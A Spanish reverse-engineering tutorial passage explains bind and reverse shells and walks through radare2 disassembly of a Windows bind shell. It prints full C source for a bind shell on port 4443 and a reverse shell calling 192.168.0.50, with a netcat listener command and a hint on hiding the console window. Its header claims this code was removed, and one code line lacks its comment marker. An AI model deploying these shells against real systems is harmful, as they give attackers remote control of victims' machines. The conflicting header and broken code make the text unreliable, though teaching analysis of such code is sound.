Únete al equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Contacta con el equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Sistemas y comunicaciones / 20

Análisis de shells remotas

LoberaFormación técnica20 / 33 · 13 min de lectura · Linux / Windows · x86-64
20 / 33

Identificar la relación entre sockets, procesos e interfaces de entrada y salida.

Consultar conceptos ↗
Edición parcial: diferencias con el original

Se excluyen el código de las shells de escucha y conexión inversa y las instrucciones para ponerlas en funcionamiento. Se conserva la explicación de procesos, conexiones y recursos de entrada y salida.

"Shells"

En esta lección presentamos un ejemplo que complementa lo aprendido en las entregas anteriores.

Hemos estado emulando protocolos y también definiendo protocolos propios, lo cual está bien, pero ¿y si no queremos ningún protocolo? ¿Podemos simplemente volcar la salida de un archivo o un proceso a un socket y hacer que todo sea más «automático»?

Sí, la entrada y salida de los procesos se puede «enviar» a través de sockets de red tanto en Linux como en Windows. Las bind shells y las reverse shells son conceptos habituales en el mundo del hacking.

En esta entrega no pretendo enseñarte conceptos avanzados de reversing ni funciones nuevas de radare2. Solo quiero presentar el código de las bind/reverse shells y su funcionamiento, para que puedas implementarlas tú mismo o identificarlas rápidamente en el desensamblado.

La bind shell

¿Qué es una bind shell? En términos de pentesting, hacking y explotación, una bind shell es un programa o fragmento de código que abre un puerto en la máquina donde se ejecuta y empieza a aceptar conexiones. Una vez aceptada la conexión del cliente, el programa le proporciona una interfaz de línea de comandos remota.

Las shells como la bind shell se usan en pentesting y hacking en general para tomar el control de máquinas remotas. Las bind/reverse shells pueden usarse como payload de un exploit para «armarlo», de modo que cuando se active el «atacante» obtenga el control de la máquina. Es un concepto sencillo pero fundamental: si eres pentester, obtener una shell en la máquina remota será siempre uno de tus objetivos principales.

Hay mucho shellcode de bind/reverse shell disponible en línea. Como ya sabes, podemos insertar ese shellcode en un programa C sencillo con el truco que mostramos antes, o generar shellcode en distintos formatos con plataformas como Metasploit. Pero lo clave es que debemos ser capaces de escribir nuestro propio código de bind/reverse shell y, sobre todo, identificarlo y entenderlo al hacer reversing de un programa.

El siguiente programa es un ejemplo de una bind shell escrita en C usando las bibliotecas WINSOCK y WINDOWS:

C
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>

#pragma comment(lib,"ws2_32")

void doShell(){

    // needed data structures
    WSADATA wsaData;
    SOCKET s1, s2;
    struct sockaddr_in hax;
    char ip_addr[16];
    STARTUPINFO sui;
    PROCESS_INFORMATION pi;
    //command we want to run, any other command line program could be used, but we want to prompt a shell.
    char Process[] = "cmd.exe";
    //WSAStartup is needed for socket 
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    //We can use socket() either 
    //so INET TCP socket 
    s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

    port 4443 on all interfaces
    hax.sin_family = AF_INET;
    hax.sin_port = htons(4443);
    hax.sin_addr.s_addr = inet_addr("0.0.0.0");
    //bind the socket to the address:port 
    if(bind(s1,(SOCKADDR*)&hax, sizeof(hax)) == SOCKET_ERROR){
            printf("error %d \n", WSAGetLastError());
            closesocket(s1);
            WSACleanup();
    }
    //now the port will be open 
    else if(listen(s1,10) == SOCKET_ERROR){
            printf("error %d \n", WSAGetLastError());
            closesocket(s1);
            WSACleanup();
    }
    else{
        //we set up a new socket here
        s2 = accept(s1, NULL, NULL);

        // we'll  use s2 to SEND data ourselves to the client
        printf("connecting \n");
        // we get the processinfo struct ready
        memset(&sui, 0, sizeof(sui));
        sui.cb = sizeof(sui);
        sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        // this is the key concept here, all the input/output of the interaction with this proces will go from/to client socket
        sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s2;
        // we create the socket with that data
        CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
        // we don't want the program to end after this, we want to keep the connection going until cmd.exe finishes
        WaitForSingleObject(pi.hProcess, INFINITE);
        // house cleaning
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        closesocket(s1);
        closesocket(s2);
        WSACleanup();
        printf("shell closed \n");
    }

}

int main(int argc, char* argv[]){

    printf("bind shell going on: \n");
    doShell();

}

El programa abre el puerto 4443 TCP en escucha en todas las interfaces, acepta conexiones y lanza una shell cmd.exe.

El concepto clave aquí es la estructura StartupInfo, que se pasa a la llamada CreateProcess (como acabamos de ver con la reverse shell).

Es la siguiente:

C
typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

Y en particular estas tres variables:

CÓDIGO / SALIDA
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;

Son los handles que se relacionan con la entrada y salida del proceso creado. Lo importante es que estos handles determinan de dónde obtiene la entrada el programa y hacia dónde envía su salida.

Si colocamos nuestro socket (del cliente) ahí… todo irá por la red en lugar de por una ventana de consola.

También tenemos otras propiedades interesantes como la siguiente:

CÓDIGO / SALIDA
  WORD   wShowWindow;

Cuando se establece a 0, CreateProcess NO creará una ventana… algo que puede resultarte útil si lo piensas…

ENSAMBLADOR / REFERENCIA
[0x00401550]> pdf
/ (fcn) sym.doShell 656
|   sym.doShell (int arg_3ch, int arg_50h, int arg_58h, int arg_60h, int arg_80h, int arg_82h, int arg_84h, int arg_90h, int arg_230h, int arg_238h);
|           ; var int local_28h @ rbp-0x28
|           ; var int local_20h_2 @ rbp-0x20
|           ; var int local_18h @ rbp-0x18
|           ; arg int arg_3ch @ rbp+0x3c
|           ; arg int arg_50h @ rbp+0x50
|           ; arg int arg_58h @ rbp+0x58
|           ; arg int arg_60h @ rbp+0x60
|           ; arg int arg_80h @ rbp+0x80
|           ; arg int arg_82h @ rbp+0x82
|           ; arg int arg_84h @ rbp+0x84
|           ; arg int arg_90h @ rbp+0x90
|           ; arg int arg_230h @ rbp+0x230
|           ; arg int arg_238h @ rbp+0x238
|           ; var int local_20h @ rsp+0x20
|           ; var int local_28h_2 @ rsp+0x28
|           ; var int local_30h @ rsp+0x30
|           ; var int local_38h @ rsp+0x38
|           ; var int local_40h @ rsp+0x40
|           ; var int local_48h @ rsp+0x48
|           ; var int local_80h @ rsp+0x80
|           ; CALL XREF from 0x00401800 (sym.main)
|           0x00401550      55             push rbp
|           0x00401551      4881ecc00200.  sub rsp, 0x2c0
|           0x00401558      488dac248000.  lea rbp, [local_80h]        ; 0x80 ; 128
|           0x00401560      48b8636d642e.  movabs rax, 0x6578652e646d63
|           0x0040156a      488945d8       mov qword [local_28h], rax
|           0x0040156e      488d85900000.  lea rax, [arg_90h]          ; 0x90 ; 144
|           0x00401575      4889c2         mov rdx, rax
|           0x00401578      b902020000     mov ecx, 0x202              ; 514
|           0x0040157d      488b05fc6c00.  mov rax, qword sym.imp.WS2_32.dll_WSAStartup ; [0x408280:8]=0x84ae reloc.WS2_32.dll_WSAStartup
|           0x00401584      ffd0           call rax
|           0x00401586      c74424280000.  mov dword [local_28h_2], 0
|           0x0040158e      c74424200000.  mov dword [local_20h], 0
|           0x00401596      41b900000000   mov r9d, 0
|           0x0040159c      41b806000000   mov r8d, 6
|           0x004015a2      ba01000000     mov edx, 1
|           0x004015a7      b902000000     mov ecx, 2
|           0x004015ac      488b05c56c00.  mov rax, qword sym.imp.WS2_32.dll_WSASocketA ; [0x408278:8]=0x84a0 reloc.WS2_32.dll_WSASocketA
|           0x004015b3      ffd0           call rax
|           0x004015b5      488985380200.  mov qword [arg_238h], rax   ; [0x238:8]=-1 ; 568
|           0x004015bc      66c785800000.  mov word [arg_80h], 2       ; [0x80:2]=0xffff ; 2
|           0x004015c5      b95c110000     mov ecx, 0x115c
|           0x004015ca      488b05cf6c00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x4082a0:8]=0x84dc reloc.WS2_32.dll_htons
|           0x004015d1      ffd0           call rax
|           0x004015d3      668985820000.  mov word [arg_82h], ax      ; [0x82:2]=0xffff ; 130
|           0x004015da      488d0d1f2a00.  lea rcx, str.0.0.0.0        ; section..rdata ; 0x404000 ; "0.0.0.0"
|           0x004015e1      488b05c06c00.  mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x4082a8:8]=0x84e4 reloc.WS2_32.dll_inet_addr
|           0x004015e8      ffd0           call rax
|           0x004015ea      898584000000   mov dword [arg_84h], eax    ; [0x84:4]=-1 ; 132
|           0x004015f0      488d85800000.  lea rax, [arg_80h]          ; 0x80 ; 128
|           0x004015f7      488b8d380200.  mov rcx, qword [arg_238h]   ; [0x238:8]=-1 ; 568
|           0x004015fe      41b810000000   mov r8d, 0x10               ; 16
|           0x00401604      4889c2         mov rdx, rax
|           0x00401607      488b05826c00.  mov rax, qword sym.imp.WS2_32.dll_bind ; [0x408290:8]=0x84c6 reloc.WS2_32.dll_bind
|           0x0040160e      ffd0           call rax
|           0x00401610      83f8ff         cmp eax, 0xffffffffffffffff
|       ,=< 0x00401613      7538           jne 0x40164d
|       |   0x00401615      488b05546c00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x408270:8]=0x848e reloc.WS2_32.dll_WSAGetLastError
|       |   0x0040161c      ffd0           call rax
|       |   0x0040161e      89c2           mov edx, eax
|       |   0x00401620      488d0de12900.  lea rcx, str.error__d       ; 0x404008 ; "error %d \n"
|       |   0x00401627      e81c170000     call sym.printf             ; int printf(const char *format)
|       |   0x0040162c      488b85380200.  mov rax, qword [arg_238h]   ; [0x238:8]=-1 ; 568
|       |   0x00401633      4889c1         mov rcx, rax
|       |   0x00401636      488b055b6c00.  mov rax, qword sym.imp.WS2_32.dll_closesocket ; [0x408298:8]=0x84ce reloc.WS2_32.dll_closesocket
|       |   0x0040163d      ffd0           call rax
|       |   0x0040163f      488b05226c00.  mov rax, qword sym.imp.WS2_32.dll_WSACleanup ; [0x408268:8]=0x8480 reloc.WS2_32.dll_WSACleanup
|       |   0x00401646      ffd0           call rax
|      ,==< 0x00401648      e989010000     jmp 0x4017d6
|      ||   ; JMP XREF from 0x00401613 (sym.doShell)
|      |`-> 0x0040164d      488b85380200.  mov rax, qword [arg_238h]   ; [0x238:8]=-1 ; 568
|      |    0x00401654      ba0a000000     mov edx, 0xa
|      |    0x00401659      4889c1         mov rcx, rax
|      |    0x0040165c      488b054d6c00.  mov rax, qword sym.imp.WS2_32.dll_listen ; [0x4082b0:8]=0x84f0 reloc.WS2_32.dll_listen
|      |    0x00401663      ffd0           call rax
|      |    0x00401665      83f8ff         cmp eax, 0xffffffffffffffff
|      |,=< 0x00401668      7538           jne 0x4016a2
|      ||   0x0040166a      488b05ff6b00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x408270:8]=0x848e reloc.WS2_32.dll_WSAGetLastError
|      ||   0x00401671      ffd0           call rax
|      ||   0x00401673      89c2           mov edx, eax
|      ||   0x00401675      488d0d8c2900.  lea rcx, str.error__d       ; 0x404008 ; "error %d \n"
|      ||   0x0040167c      e8c7160000     call sym.printf             ; int printf(const char *format)
|      ||   0x00401681      488b85380200.  mov rax, qword [arg_238h]   ; [0x238:8]=-1 ; 568
|      ||   0x00401688      4889c1         mov rcx, rax
|      ||   0x0040168b      488b05066c00.  mov rax, qword sym.imp.WS2_32.dll_closesocket ; [0x408298:8]=0x84ce reloc.WS2_32.dll_closesocket
|      ||   0x00401692      ffd0           call rax
|      ||   0x00401694      488b05cd6b00.  mov rax, qword sym.imp.WS2_32.dll_WSACleanup ; [0x408268:8]=0x8480 reloc.WS2_32.dll_WSACleanup
|      ||   0x0040169b      ffd0           call rax
|     ,===< 0x0040169d      e934010000     jmp 0x4017d6
|     |||   ; JMP XREF from 0x00401668 (sym.doShell)
|     ||`-> 0x004016a2      488b85380200.  mov rax, qword [arg_238h]   ; [0x238:8]=-1 ; 568
|     ||    0x004016a9      41b800000000   mov r8d, 0
|     ||    0x004016af      ba00000000     mov edx, 0
|     ||    0x004016b4      4889c1         mov rcx, rax
|     ||    0x004016b7      488b05ca6b00.  mov rax, qword sym.imp.WS2_32.dll_accept ; [0x408288:8]=0x84bc reloc.WS2_32.dll_accept
|     ||    0x004016be      ffd0           call rax
|     ||    0x004016c0      488985300200.  mov qword [arg_230h], rax   ; [0x230:8]=-1 ; 560
|     ||    0x004016c7      488d0d452900.  lea rcx, str.connecting     ; 0x404013 ; "connecting "
|     ||    0x004016ce      e86d160000     call sym.puts               ; int puts(const char *s)
|     ||    0x004016d3      4889e8         mov rax, rbp
|     ||    0x004016d6      41b868000000   mov r8d, 0x68               ; 'h' ; 104
|     ||    0x004016dc      ba00000000     mov edx, 0
|     ||    0x004016e1      4889c1         mov rcx, rax
|     ||    0x004016e4      e867160000     call sym.memset             ; void *memset(void *s, int c, size_t n)
|     ||    0x004016e9      c74500680000.  mov dword [rbp], 0x68       ; 'h' ; 104
|     ||    0x004016f0      c7453c010100.  mov dword [arg_3ch], 0x101  ; 257
|     ||    0x004016f7      488b85300200.  mov rax, qword [arg_230h]   ; [0x230:8]=-1 ; 560
|     ||    0x004016fe      48894560       mov qword [arg_60h], rax    ; [0x60:8]=-1 ; '`' ; 96
|     ||    0x00401702      488b4560       mov rax, qword [arg_60h]    ; [0x60:8]=-1 ; '`' ; 96
|     ||    0x00401706      48894558       mov qword [arg_58h], rax    ; [0x58:8]=-1 ; 'X' ; 88
|     ||    0x0040170a      488b4558       mov rax, qword [arg_58h]    ; [0x58:8]=-1 ; 'X' ; 88
|     ||    0x0040170e      48894550       mov qword [arg_50h], rax    ; [0x50:8]=-1 ; 'P' ; 80
|     ||    0x00401712      488d45d8       lea rax, [local_28h]
|     ||    0x00401716      488d55e0       lea rdx, [local_20h_2]
|     ||    0x0040171a      4889542448     mov qword [local_48h], rdx
|     ||    0x0040171f      4889ea         mov rdx, rbp
|     ||    0x00401722      4889542440     mov qword [local_40h], rdx
|     ||    0x00401727      48c744243800.  mov qword [local_38h], 0
|     ||    0x00401730      48c744243000.  mov qword [local_30h], 0
|     ||    0x00401739      c74424280000.  mov dword [local_28h_2], 0
|     ||    0x00401741      c74424200100.  mov dword [local_20h], 1
|     ||    0x00401749      41b900000000   mov r9d, 0
|     ||    0x0040174f      41b800000000   mov r8d, 0
|     ||    0x00401755      4889c2         mov rdx, rax
|     ||    0x00401758      b900000000     mov ecx, 0
|     ||    0x0040175d      488b05646b00.  mov rax, qword sym.imp.KERNEL32.dll_CreateProcessA ; [0x4082c8:8]=0x8508 reloc.KERNEL32.dll_CreateProcessA
|     ||    0x00401764      ffd0           call rax
|     ||    0x00401766      488b45e0       mov rax, qword [local_20h_2]
|     ||    0x0040176a      baffffffff     mov edx, 0xffffffff         ; -1
|     ||    0x0040176f      4889c1         mov rcx, rax
|     ||    0x00401772      488b050f6c00.  mov rax, qword sym.imp.KERNEL32.dll_WaitForSingleObject ; [0x408388:8]=0x8702 reloc.KERNEL32.dll_WaitForSingleObje
|     ||    0x00401779      ffd0           call rax
|     ||    0x0040177b      488b45e0       mov rax, qword [local_20h_2]
|     ||    0x0040177f      4889c1         mov rcx, rax
|     ||    0x00401782      488b05376b00.  mov rax, qword sym.imp.KERNEL32.dll_CloseHandle ; [0x4082c0:8]=0x84fa reloc.KERNEL32.dll_CloseHandle
|     ||    0x00401789      ffd0           call rax
|     ||    0x0040178b      488b45e8       mov rax, qword [local_18h]
|     ||    0x0040178f      4889c1         mov rcx, rax
|     ||    0x00401792      488b05276b00.  mov rax, qword sym.imp.KERNEL32.dll_CloseHandle ; [0x4082c0:8]=0x84fa reloc.KERNEL32.dll_CloseHandle
|     ||    0x00401799      ffd0           call rax
|     ||    0x0040179b      488b85380200.  mov rax, qword [arg_238h]   ; [0x238:8]=-1 ; 568
|     ||    0x004017a2      4889c1         mov rcx, rax
|     ||    0x004017a5      488b05ec6a00.  mov rax, qword sym.imp.WS2_32.dll_closesocket ; [0x408298:8]=0x84ce reloc.WS2_32.dll_closesocket
|     ||    0x004017ac      ffd0           call rax
|     ||    0x004017ae      488b85300200.  mov rax, qword [arg_230h]   ; [0x230:8]=-1 ; 560
|     ||    0x004017b5      4889c1         mov rcx, rax
|     ||    0x004017b8      488b05d96a00.  mov rax, qword sym.imp.WS2_32.dll_closesocket ; [0x408298:8]=0x84ce reloc.WS2_32.dll_closesocket
|     ||    0x004017bf      ffd0           call rax
|     ||    0x004017c1      488b05a06a00.  mov rax, qword sym.imp.WS2_32.dll_WSACleanup ; [0x408268:8]=0x8480 reloc.WS2_32.dll_WSACleanup
|     ||    0x004017c8      ffd0           call rax
|     ||    0x004017ca      488d0d4e2800.  lea rcx, str.shell_closed   ; 0x40401f ; "shell closed "
|     ||    0x004017d1      e86a150000     call sym.puts               ; int puts(const char *s)
|     ||    ; JMP XREF from 0x0040169d (sym.doShell)
|     ||    ; JMP XREF from 0x00401648 (sym.doShell)
|     ``--> 0x004017d6      90             nop
|           0x004017d7      4881c4c00200.  add rsp, 0x2c0
|           0x004017de      5d             pop rbp
\           0x004017df      c3             ret
[0x00401550]>
ENSAMBLADOR / REFERENCIA
|           0x00401596      41b900000000   mov r9d, 0
|           0x0040159c      41b806000000   mov r8d, 6
|           0x004015a2      ba01000000     mov edx, 1
|           0x004015a7      b902000000     mov ecx, 2
|           0x004015ac      488b05c56c00.  mov rax, qword sym.imp.WS2_32.dll_WSASocketA ; [0x408278:8]=0x84a0 reloc.WS2_32.dll_WSASocketA
|           0x004015b3      ffd0           call rax
|           0x004015b5      488985380200.  mov qword [arg_238h], rax   ; [0x238:8]=-1 ; 568
|           0x004015bc      66c785800000.  mov word [arg_80h], 2       ; [0x80:2]=0xffff ; 2
|           0x004015c5      b95c110000     mov ecx, 0x115c
|           0x004015ca      488b05cf6c00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x4082a0:8]=0x84dc reloc.WS2_32.dll_htons
|           0x004015d1      ffd0           call rax
|           0x004015d3      668985820000.  mov word [arg_82h], ax      ; [0x82:2]=0xffff ; 130
|           0x004015da      488d0d1f2a00.  lea rcx, str.0.0.0.0        ; section..rdata ; 0x404000 ; "0.0.0.0"
|           0x004015e1      488b05c06c00.  mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x4082a8:8]=0x84e4 reloc.WS2_32.dll_inet_addr

Vemos un socket AF_INET STREAM siendo declarado. A estas alturas ya deberíamos estar familiarizados con esos números (6, 1, 2).

Si miramos más de cerca, vemos 0.0.0.0 codificado ahí, así como un número sospechoso que se pasa a htons; podemos suponer que es el puerto: 0x115c == 4443 en decimal. Así que tenemos el puerto y la dirección, y 0.0.0.0 significa «todas las direcciones de la máquina».

Luego aparece un bind.

ENSAMBLADOR / REFERENCIA
|           0x004015ea      898584000000   mov dword [arg_84h], eax    ; [0x84:4]=-1 ; 132
|           0x004015f0      488d85800000.  lea rax, [arg_80h]          ; 0x80 ; 128
|           0x004015f7      488b8d380200.  mov rcx, qword [arg_238h]   ; [0x238:8]=-1 ; 568
|           0x004015fe      41b810000000   mov r8d, 0x10               ; 16
|           0x00401604      4889c2         mov rdx, rax
|           0x00401607      488b05826c00.  mov rax, qword sym.imp.WS2_32.dll_bind ; [0x408290:8]=0x84c6 reloc.WS2_32.dll_bind
|           0x0040160e      ffd0           call rax

Vemos que el socket creado previamente, cargado con los datos de red declarados, se pasa como argumento. Ahora podemos asumir que el programa escuchará ahí y posiblemente aceptará conexiones.

Y si todo ha ido bien, se ejecuta listen():

ENSAMBLADOR / REFERENCIA
|      ||   ; JMP XREF from 0x00401613 (sym.doShell)
|      |`-> 0x0040164d      488b85380200.  mov rax, qword [arg_238h]   ; [0x238:8]=-1 ; 568
|      |    0x00401654      ba0a000000     mov edx, 0xa
|      |    0x00401659      4889c1         mov rcx, rax
|      |    0x0040165c      488b054d6c00.  mov rax, qword sym.imp.WS2_32.dll_listen ; [0x4082b0:8]=0x84f0 reloc.WS2_32.dll_listen

Vemos que se pasa 0xA a listen; 0xA == 10 en decimal, es decir, se aceptará un máximo de 10 conexiones en ese socket.

Después se llama a accept().

ENSAMBLADOR / REFERENCIA
|     ||`-> 0x004016a2      488b85380200.  mov rax, qword [arg_238h]   ; [0x238:8]=-1 ; 568
|     ||    0x004016a9      41b800000000   mov r8d, 0
|     ||    0x004016af      ba00000000     mov edx, 0
|     ||    0x004016b4      4889c1         mov rcx, rax
|     ||    0x004016b7      488b05ca6b00.  mov rax, qword sym.imp.WS2_32.dll_accept ; [0x408288:8]=0x84bc reloc.WS2_32.dll_accept
|     ||    0x004016be      ffd0           call rax 

Se pasa como parámetro el socket que ahora está en escucha, ya que esperamos recibir conexiones ahí. Nuestro «par» (peer) iniciará la comunicación.

De modo que accept devolverá un nuevo socket, que se usará para enviar datos al cliente (desde este programa).

ENSAMBLADOR / REFERENCIA
|     ||    0x004016e9      c74500680000.  mov dword [rbp], 0x68       ; 'h' ; 104
|     ||    0x004016f0      c7453c010100.  mov dword [arg_3ch], 0x101  ; 257
|     ||    0x004016f7      488b85300200.  mov rax, qword [arg_230h]   ; [0x230:8]=-1 ; 560
|     ||    0x004016fe      48894560       mov qword [arg_60h], rax    ; [0x60:8]=-1 ; '`' ; 96
|     ||    0x00401702      488b4560       mov rax, qword [arg_60h]    ; [0x60:8]=-1 ; '`' ; 96
|     ||    0x00401706      48894558       mov qword [arg_58h], rax    ; [0x58:8]=-1 ; 'X' ; 88
|     ||    0x0040170a      488b4558       mov rax, qword [arg_58h]    ; [0x58:8]=-1 ; 'X' ; 88
|     ||    0x0040170e      48894550       mov qword [arg_50h], rax    ; [0x50:8]=-1 ; 'P' ; 80
|     ||    0x00401712      488d45d8       lea rax, [local_28h]
|     ||    0x00401716      488d55e0       lea rdx, [local_20h_2]
|     ||    0x0040171a      4889542448     mov qword [local_48h], rdx
|     ||    0x0040171f      4889ea         mov rdx, rbp
|     ||    0x00401722      4889542440     mov qword [local_40h], rdx
|     ||    0x00401727      48c744243800.  mov qword [local_38h], 0
|     ||    0x00401730      48c744243000.  mov qword [local_30h], 0
|     ||    0x00401739      c74424280000.  mov dword [local_28h_2], 0
|     ||    0x00401741      c74424200100.  mov dword [local_20h], 1
|     ||    0x00401749      41b900000000   mov r9d, 0
|     ||    0x0040174f      41b800000000   mov r8d, 0
|     ||    0x00401755      4889c2         mov rdx, rax
|     ||    0x00401758      b900000000     mov ecx, 0
|     ||    0x0040175d      488b05646b00.  mov rax, qword sym.imp.KERNEL32.dll_CreateProcessA ; [0x4082c8:8]=0x8508 reloc.KERNEL32.dll_CreateProcessA

Ese fragmento de código puede parecer complejo de analizar, con muchos valores siendo inicializados. Hay que fijarse en un par de ellos:

Primero vemos arg_230h, la variable que contiene el nuevo socket (para la comunicación con el cliente).

ENSAMBLADOR / REFERENCIA
|     ||    0x004016f0      c7453c010100.  mov dword [arg_3ch], 0x101  ; 257
|     ||    0x004016f7      488b85300200.  mov rax, qword [arg_230h]   ; [0x230:8]=-1 ; 560
|     ||    0x004016fe      48894560       mov qword [arg_60h], rax    ; [0x60:8]=-1 ; '`' ; 96

Que se pasa a CreateProcessA.

ENSAMBLADOR / REFERENCIA
 ||    0x00401749      41b900000000   mov r9d, 0
 ||    0x0040174f      41b800000000   mov r8d, 0
 ||    0x00401755      4889c2         mov rdx, rax
 ||    0x00401758      b900000000     mov ecx, 0
 ||    0x0040175d      488b05646b00.  mov rax, qword sym.imp.KERNEL32.dll_CreateProcessA ; [0x4082c8:8]=0x8508 reloc.KERNEL32.dll_CreateProcessA

Así que podemos deducir que el proceso creado estará relacionado con el socket.

Pero, ¿qué tiene esto que ver con el reversing? ¿No es ese programa muy sencillo?

Aquí tienes una pequeña pista:

C / EJEMPLO
[0x00401550]> pc
#define _BUFFER_SIZE 256
const uint8_t buffer[256] = {
  0x55, 0x48, 0x81, 0xec, 0xc0, 0x02, 0x00, 0x00, 0x48, 0x8d,
  0xac, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x63, 0x6d,
  0x64, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x48, 0x89, 0x45, 0xd8,
  0x48, 0x8d, 0x85, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc2,
  0xb9, 0x02, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xfc, 0x6c,
  0x00, 0x00, 0xff, 0xd0, 0xc7, 0x44, 0x24, 0x28, 0x00, 0x00,
  0x00, 0x00, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00,
  0x41, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x06, 0x00,
  0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00, 0xb9, 0x02, 0x00,
  0x00, 0x00, 0x48, 0x8b, 0x05, 0xc5, 0x6c, 0x00, 0x00, 0xff,
  0xd0, 0x48, 0x89, 0x85, 0x38, 0x02, 0x00, 0x00, 0x66, 0xc7,
  0x85, 0x80, 0x00, 0x00, 0x00, 0x02, 0x00, 0xb9, 0x5c, 0x11,
  0x00, 0x00, 0x48, 0x8b, 0x05, 0xcf, 0x6c, 0x00, 0x00, 0xff,
  0xd0, 0x66, 0x89, 0x85, 0x82, 0x00, 0x00, 0x00, 0x48, 0x8d,
  0x0d, 0x1f, 0x2a, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xc0, 0x6c,
  0x00, 0x00, 0xff, 0xd0, 0x89, 0x85, 0x84, 0x00, 0x00, 0x00,
  0x48, 0x8d, 0x85, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8d,
  0x38, 0x02, 0x00, 0x00, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00,
  0x48, 0x89, 0xc2, 0x48, 0x8b, 0x05, 0x82, 0x6c, 0x00, 0x00,
  0xff, 0xd0, 0x83, 0xf8, 0xff, 0x75, 0x38, 0x48, 0x8b, 0x05,
  0x54, 0x6c, 0x00, 0x00, 0xff, 0xd0, 0x89, 0xc2, 0x48, 0x8d,
  0x0d, 0xe1, 0x29, 0x00, 0x00, 0xe8, 0x1c, 0x17, 0x00, 0x00,
  0x48, 0x8b, 0x85, 0x38, 0x02, 0x00, 0x00, 0x48, 0x89, 0xc1,
  0x48, 0x8b, 0x05, 0x5b, 0x6c, 0x00, 0x00, 0xff, 0xd0, 0x48,
  0x8b, 0x05, 0x22, 0x6c, 0x00, 0x00, 0xff, 0xd0, 0xe9, 0x89,
  0x01, 0x00, 0x00, 0x48, 0x8b, 0x85
};
[0x00401550]>

** Se puede usar netcat para conectarse a esta bind shell.

La reverse shell

El problema es que algunos firewalls, SIEM y similares bloquean la escucha en puertos aleatorios o alertan al usuario, así que normalmente no conviene usar bind shells.

La alternativa es una reverse shell: hacer que la máquina del atacante escuche conexiones en un puerto (nc -lvp 4443) y simplemente enviar la shell allí.

Aquí está el código; verás que es bastante similar:

C
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>

// remember to include the winsock lib to the project 
#pragma comment(lib,"ws2_32")

void doShell(){
    // initialization
    WSADATA wsaData;
    SOCKET s1;
    struct sockaddr_in hax;
    char ip_addr[16];
    STARTUPINFO sui;
    PROCESS_INFORMATION pi;
    char Process[] = "cmd.exe";

    // WSAStartup is needed as well
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    // we'll only have one socket in here as we already know where we'll send the process 
    // WSASocket == socket 
    s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
    // socket info
    hax.sin_family = AF_INET;
    hax.sin_port = htons(4443);
    hax.sin_addr.s_addr = inet_addr("192.168.0.50");
    // WSAConnect == connect() 
    if(WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL) == SOCKET_ERROR){
            printf("error %d \n", WSAGetLastError());
            closesocket(s1);
            WSACleanup();
    }
    else{
        printf("connecting \n");
        // sui == processinfo 
        memset(&sui, 0, sizeof(sui));
        sui.cb = sizeof(sui);
        sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        // and we just send to the socket
        sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1;
        // creating a process for cmd.exe, sending to s1 
        CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
        // we want to keep it up until the user closes 
        WaitForSingleObject(pi.hProcess, INFINITE);
        // house cleaning
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        closesocket(s1);
        WSACleanup();
        printf("shell closed \n");
    }

}

int main(int argc, char* argv[]){

    printf("reverse shell going on: \n");

    doShell();

}

Y aquí tenemos el desensamblado:

